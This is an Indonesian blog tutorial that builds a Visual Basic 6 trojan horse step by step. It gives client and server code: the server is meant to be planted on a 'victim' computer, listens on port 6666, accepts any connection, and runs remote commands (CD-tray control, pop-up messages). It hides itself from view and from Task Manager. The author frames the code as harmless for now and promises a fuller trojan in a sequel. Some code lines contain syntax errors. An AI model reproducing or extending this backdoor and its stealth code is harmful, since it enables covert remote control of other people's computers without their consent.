Membuat Trojan Horse Dengan Visual Basic 6.0

Ada yang udah tau mengenai Trojan Horse sebelumnya? Pasti udah tau donk!! Yang belum tau (Kasiaaaaan….dech…lo….) silahkan cari artikel mengenai Trojan Horse pada media-media lain (Koran, ilmukomputer.com, jasakom, dll). Soalnya untuk jelasin Trojan Horse Perlu satu halaman lebih…CUUUAAAAPPPEEEKKK….!!!

Ok dech langsung aza…!!Pada pembuatan Trojan Horse ini (TH) ada beberapa step yang perlu kita perhatikan antara lain:

1.Tahap Persiapan
2.Tahap Pengerjaan

a). Client

è Interface

è Coding : Conection, Half-Execution, Error Handler, dll..+ debug

b). Server

è Coding : Open Gate, Execution, Stealth, dll.

3. Tahap Akhir

Sekarang marilah kita mulai untuk membuat proyek kita ini. Disarankan sebelum kita memulai untuk melaksanakan suatu pekerjaan ada baiknya kita berdoa terlebih dahulu agar apapun yang kita kerjakan mendapat berkah dari Tuhan YME. Amin…..!!!!!!



1. TAHAP PERSIAPAN

Pada tahap ini yang pertama harus kita lakukan adalah membuka aplikasi Visual Basic. Setelah itu pada jendela New Project pilih Standard EXE seperti pada gambar.



Setelah itu akan tampil satu form kosong, dan tampilan default lainya.

Untuk membuat proyek ini kita tidak bisa menggunakan tools (control) sederhana yang ditampilkan pada Toolbox. Kita memerlukan satu control tambahan yang harus kita load ke dalam Toolbar/Toolbox. Control yang kita maksud disini adalah MS WINSOCK control.

Untuk mengaktikan (memanggil) control ini kita pilih Project > Components pada Menubar. Maka akan tampil jendela component seperti pada gambar:



Lalu kita pilih Microsoft Winsock Control 6.0 dengan memberi tanda centang pada checkbox disisi kirinya (spt pada gbr). Maka pada toolbar akan tampil satu control tambahan ber-icon dua computer yang terhubung oleh garis merah seperti pada gambar berikut



Gambar ini menandakan bahwa ms winsock control berhasil kita load ke dalam toolbar dan siap di gunakan.

Dengan tampilnya icon contol tersebut berarti persiapan kita untuk membuat proyek ini telah selesai. Maka kita akan lanjutkan ketahap berikutnya. Yaitu tahap pengerjaan.



2. TAHAP PENGERJAAN

Seperti yang sudah kita ketahui sebelumnya, umumnya program TH terdiri dari dua unit program yaitu : CLIENT dan SERVER. Saya akan coba jelaskan sedikit maksud dari kedua program ini.

Program CLIENT ialah program yang akan kita gunakan sebagai sarana pengendali (remote) dari program SERVER. Dengan kata lain program ini lah yang akan kita gunakan untuk mengeksekusi computer korban (victim) dengan bantuan SERVER yang ditanamkan pada victim.

Sedangkan program SERVER ialah program yang akan kita tanamkan pada victim dengan tujuan mengeksekusi victim itu sendiri berdasarkan instruksi yang dikirimkan oleh program CLIENT. Bingung??!!!...Sukuriiinnn…!!!!

Okey..marilah kita mulai tahap ini dengan membuat program CLIENT terlebih dahulu. Kenapa?? Karena untuk membuat program ini tidaklah terlalu sulit. OK..marilah…ehm…

Program CLIENT

Pada program ini kita akan membuat dua “Fun Menu” yaitu : Open/Close CD ROM dan Send Message.

Sekilas Info:

Sebenarnya masih banyak “Fun Menu” lain yang dapat kita tambahkan, tapi pada pembahasan kali ini kita persingkat saja karena akan memakan banyak halaman untuk menjelaskannya. Oleh karena itu pembahasan “Fun Menu” lebih lanjut akan saya buat pada artikel selanjutnya (“Membuat TH dengan VB6 seri 2). Untuk release artikel ke-2, tergantung dari banyaknya respon yang mendukung yang saya terima melalui e-mail di xpartacvs@gmail.com



Interface

Dalam hal ini yang kita perlukan ialah 5 command button, 2 textbox, 1 label, dan 1 winsock control. Atur sedemikian rupa sesuai selera anda pada form.



rename tiap nama control menjadi seperti dibawah ini :

Command1 - cmdConnect Label1 - lblStatus

Command2 - cmdDisconnect Text1 - txtIP

Command3 - cmdOpen Text2 - txtMsg

Command4 - cmdClose Winsock1 - tcpClient

Command5 - cmdMsg


Jangan lupa Caption dan Text pada control.

Coding

Ok saatnya coding…..

Klik ganda pada tombol Connect, lalu masukan code berikut pada jendela code:


Private Sub cmdConnect_Click()

On Error Resume Next

cmdConnect.Enabled = False

lblStatus.Caption = "Connecting..”

If txtIP.Text = "" or Then

MsgBox "Please enter a valid IP adress", vbCritical

End If

tcpClient.Connect txtIP.Text, 6666

End Sub



Maksud dari script diatas ialah:

computer akan mematikan tombol connect. Lalu computer akan memberikan keterangan “connecting….” pada label status untuk memberikan keterangan pada anda bahwa saat ini anda sedang berusaha untuk melakukan koneksi ke computer Korban. Setelah itu computer akan mengecek apakan anda sudah mengisi IP Address atau belum. Jika belum maka akan tampil msgbox jika sudah maka computer akan mencoba koneksi ke nomor IP yang anda masukan pada txtIP dengan nomor port 6666 (nomor port bisa diisi berapa saja, umumnya terdiri dari empat digit).

Peringatan :
Perhatikan dan ingat nomor port yang anda masukan, karena akan kita gunakan untuk program SERVER.

Klik ganda pada tombol disconnect dan masukan code berikut:

Private Sub cmdDisconnect_Click()

On Error Resume Next

LblStatus.Caption = “Not Connected”

cmdDisconnect.Enabled = False

cmdConnect.Enabled = True

tcpClient.Close

End Sub

Maksud dari script diatas ialah:

Computer akan memberi keterangan “Not Connected” pada label status untuk menginformasikan bahwa tidak ada koneksi yang sedang berjalan saat ini. Lalu Komputer akan mematikan tombol Disconnect dan menghidupkan kembali tombol Connect. Lalu computer akan memutuskan hubungan dengan Server.

Klik ganda pada Winsock dan pilih pada menu event “Connect”. (spt pada gbr):


Lalu tambahkan kode berikut:

Private Sub tcpClient_Connect()

lblStatus.Caption = "Connected"

End Sub

Keterangan “Connected” pada label status hanya akan tampil setelah SERVER merespon.

Half-Execution

Mungkin anda bertanya kenapa saya menyebutnya Half-Execution. Alasanya ialah karena pada program CLIENT ini Eksekusi yang kita inginkan belumlah dapat di jalankan tanpa bantuan SERVER. Prinsip kerja program CLIENT dalam melaksanakan eksekusi ialah hanya sebagai “Commander” atau pemberi instruksi.

Maksudnya disini program CLIENT akan mengirimkan data berupa ‘string’ kepada program SERVER yang nantinya akan diolah (diterjemahakan) oleh program SERVER sebagai suatu perintah untuk melaksanakan eksekusi. Ok..mari kita mulai….


Klik ganda pada tombol Open cd-rom lalu tambahkan kode berikut:

Private Sub cmdOpen_Click()

tcpClient.SendData "opn” 'Mengirimkan string ke server

End Sub

Klik ganda pada tombol Close cd-rom lalu tamahkan kode berikut:

Private Sub cmdClose_Click()

tcpClient.SendData "cls” 'Mengirimkan string ke server

End Sub

Klik ganda pada tombol Send message dan tambahkan kode berikut:

Private Sub cmdMsg_Click()

tcpClient.SendData "msg" & txtMsg 'Mengirim string ke server beserta isi txtbox

End Sub

Selamat Program CLIENT sudah selesai…….!!!!

Debug Client

Program CLIENT yang baru kita buat diatas belumlah sempurna. Saya yakin masih banyak terdapat bug pada program tersebut. Oleh karena itu marilah kita mencoba untuk menyempurnakanya.
1.

Tombol Disconnect

Pada object ini yang pertama yang harus kita perhatikan ialah Property dari tombol ini. Saat Program dijalankan pertama kali sebaiknya tombol ini berada pada keadaan ‘disabled’ (mati). Karena seperti yang sudah kita ketahui sebelumnya fungsi dari tombol ini adalah memutuskan Koneksi ke Server.

Pada saat kita menjalankan program ini tentu saja belum ada koneksi sama sekali terhadap SERVER, oleh karena itu ada baiknya kita mematikan tombol ini dengan merubah property cmdDisconnect.Enabled manjadi false pada jendela property.

2.On Error Resume Next

Ada baiknya sebelum mengetikan code pada badan sub, kita awali dengan mengetikan On Error Resume Next agar ketika terjadi kesalahan program kita tidak mengeluarkan pesan error dan tidak keluar dari program.

Program SERVER

Setelah program CLIENT selesai kita buat sekarang saatnya kita membuat program Executor yang sebenarnya yaitu program SERVER. Apakah program CLIENT anda masih terbuka? Sebaiknya iya agar kita lebih mudah dalam mengerjakan pogram SERVER.

Pertama jalankan kembali aplikasi visual basic seperti biasa dan pilih Standard EXE maka akan tampil tampilan default beserta tetek bengeknya…. Pada program SERVER ini kita hanya membutuhkan satu control yaitu MS WINSOCK CONTROL. Letakan satu winsock kedalam form dan beri nama tcpServer Bila belum tersedia pada toolbar, load kembali seperti pada pembahasan sebelumnya.. Dan jangan lupa mengganti nama form menjadi frmServer, jangan lupa juga untuk menguah property Visible-nya menjadi false.

Open Gate

Kita akan mulai dari terhnik termudah dulu yaitu Open Gate. Mari kita Mulai……

Klik ganda pada form lalu masukan kode berikut:

Private Sub Form_Load()

On Error Resume Next

tcpServer.LocalPort = 6666

tcpServer.Listen

End Sub

Maksud dari script diatas:

Pertama winsock (tcpServer) akan mengecek pada port yang kita masukan yaitu 6666 (nomor port yang sama dengan program CLIENT). Setelah itu winsock akan membuka port tersebut dengan perintah Listen. Tujuannya ialah : agar program CLIENT yang mencoba untuk Connect ke computer korban dapat masuk melaliu port yang telah kita buka yaitu port 6666.

Sekarang kita akan memberi kode pada winsock jadi Klikganda pada winsock control dan pilih “connection request” pada combobox event ( kalau kurang jelas lihat pembahasan pada program CLIENT)

Tambahkan kode berikut:

Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)

On Error Resume Next

tcpServer.Close

tcpServer.Accept requestID

End Sub

Maksud dari script diatas:

Pertama winsock akan menutup koneksi untuk menghindari terjadinya error, lalu ia akan menerima semua request yang masuk ( request dari program CLIENT).


Masih pada winsock, pilih “error” pada combobox event dan beri kode berikut:

Private Sub tcpServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

On Error Resume Next

Do While tcpServer.State <> sckClosed

tcpServer.Close

loop

tcpServer.Listen

End Sub

Maksud dari script diatas:

Saat terjadi error pada koneksi, winsock akan segera menutup koneksi setelah itu ia akan membuka kembali port agar bisa dihubungi kembali oleh server.

Waw…untuk membuka pertahanan victim cukup panjang bukan? Sekarang marilah kita melangkah ke tahap berikutnya yaitu melakukan infeksi kedalam computer korban.


Execution

Sekarang saatnya kita buat program pengeksekusi yang sebenarnya. Sebelum kita masuk kebagian utama, pertama-tama tambahkan sebuah module kosong. Pilih Project “diatas layar” dan pilih add module. Lalu buka modul kosong tsb.

Untuk membuka atau menutup CD-ROM kita perlu menggunakan fungsi API pada windows. Oleh karma itu kita perlu API viewer.

Klik pada add-ins lalu klik API Viewer. Jika anda tidak melihatnya pada daftar maka klik Add-In Manager lalu pilih kemudian tekan “OK”. Saat kamu membuka API Viewer, kamu akan melihat jendela baru. Klik File lalu pilih load textfile dan pilih WIN32API.txt truss buka dech.

Load WIN32API.txt file





Pada mciSendString seperti yang ditunjukan oleh gambar, set Declaration Scope menjadi Public lalu tambahkan pada module. Tekan Insert untuk menambahkanya secara otomatis

Sekarang kita siap untuk memberi kode pada Open / Close cd-rom. Kembali ke form dan Klik ganda pada winsock dan pilih “DataArrival” pada procedure window lalu tambahkan kode beriktu:

private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)

Dim varData As String

Dim strData As String

tcpServer.GetData strData, vbString

varData = Right(strData, Len(strData) - 3)

Select Case Cstr(strdata)

Case "opn"

mciSendString "Set CDAudio Door Open", vbNullString, 0, 0

Case "cls"

mciSendString "Set CDAudio Door Closed", vbNullString, 0, 0

Case "msg"

MsgBox varData, vbInformation, "Information"

End Select

End Sub

Maksud dari script diatas:

Saat data diterima, pertama program akan mendeklarasikan vardata dan strdata sebagai string dengan strdata sebagai penampung data yang masuk. Sedangkan vardata ialah data bawaan yang tidak diproses sebagai perintah ( pesan pada msgbox ). Setelah itu program akan mengambil data yang masuk dengan mengkonversinya terlebih dahulu menjadi string, jika tidak data yang masuk akan bertipe byte. Lalu program akan menyeleksi data yang masuk apakah data bernilai opn, cls, atau msg. jika data bernilai opn maka akan dilakukan perintah pembukaan CD-ROOM, jika data adalah cls maka akan dilakukan perintah penutupn CD-ROOM, dan jika data bernilai msg maka akan ditampilkan msgbox berisi pesan yang ditampung pada variael vardata.



Stealth

Untuk lebih memperpanjang umur program Trojan kita, ada baiknya kita buat program kita seolah tidak terlihat. Caranya ialah menghilangkan program dari task manager. Untuk melakukanya : Tambahkan script berikut pada sub Form_Load sehingga menjadi :


Private Sub Form_Load()

On Error Resume Next

tcpServer.LocalPort = 6666

tcpServer.Listen

App.TaskVisible = False

End Sub


3. TAHAP AKHIR

Pada tahap akhir ini saya tidak akan menjelaskan apa-apa, pada tahap ini anda tinggal mengkompile program2 yang telah dibuat tersebut dan mungkin mengadakan sedikit pengetesan dan debugging.


PENUTUP

Sebelumnya saya ucapkan terimakasih pada semua yang telah mendukung dalam penyusunan artikel ini. Selain itu saya juga mohon maaf apa bila ada kekurangan dan ketidak sempurnaan pada bahasan ini. Karena sebagai manusia saya tidak akan luput dari kesalahan. Saya juga mohon maaf yang sebesar-besarnya apabila rekan-rekan sekalian ada yang tidak menyukai artikel yang saya tulis. Artikel ini semata-mata saya buat tidak lain ialah hanya untuk berbagi pengalaman. Karena saya sadar “Diatas langit masih ada langit” jadi saya sangat mengharapkan saran dan kritik dari rekan-rekan sekalian demi kemajuan ilmu pengetahuan. Wassalam…

TAMBAHAN :

Trojan ini masih jinak.. artinya belum melakukan infeksi sehingga masih aman untuk tahap percobaan. Untuk pembahasan lengkap (pure Trojan) akan saya bahas pada artikel ke-2. Thanx..

Related

Virus 3818308533620886751

Post a Comment

emo-but-icon

Follow Us

Hot in week

Recent

Comments

Side Ads

Text Widget

Connect Us

item